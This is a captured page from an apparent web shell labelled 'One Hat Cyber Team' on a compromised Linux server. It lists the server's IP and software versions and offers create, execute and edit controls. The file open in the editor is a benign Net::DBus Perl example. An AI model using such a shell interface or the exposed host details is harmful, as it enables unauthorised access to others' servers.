One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
libnet-dbus-perl
/
examples
/
Edit File:
strict-exports.pl
#!/usr/bin/perl # -*- perl -*- use strict; use warnings; package MyStrictObject; use base qw(Net::DBus::Object); use Net::DBus::Exporter "org.example.MyObject"; sub new { my $class = shift; my $self = $class->SUPER::new(@_); $self->{name} = "Joe"; $self->{salary} = 100000; bless $self, $class; return $self; } dbus_method("name", [], ["string"]); sub name { my $self = shift; return $self->{name}; } sub salary { my $self = shift; return $self->{salary}; } package MyFlexibleObject; use base qw(Net::DBus::Object); use Net::DBus::Exporter qw(org.example.MyObject); dbus_no_strict_exports; sub new { my $class = shift; my $self = $class->SUPER::new(@_); $self->{name} = "Joe"; $self->{salary} = 100000; bless $self, $class; return $self; } dbus_method("name", [], ["string"]); sub name { my $self = shift; return $self->{name}; } sub salary { my $self = shift; return $self->{salary}; } package main; use Net::DBus; use Net::DBus::Reactor; my $bus = Net::DBus->session; my $service = $bus->export_service("org.cpan.Net.Bus.test"); my $object1 = MyStrictObject->new($service, "/org/example/MyStrictObject"); my $object2 = MyFlexibleObject->new($service, "/org/example/MyFlexibleObject"); Net::DBus::Reactor->main->run();
Simpan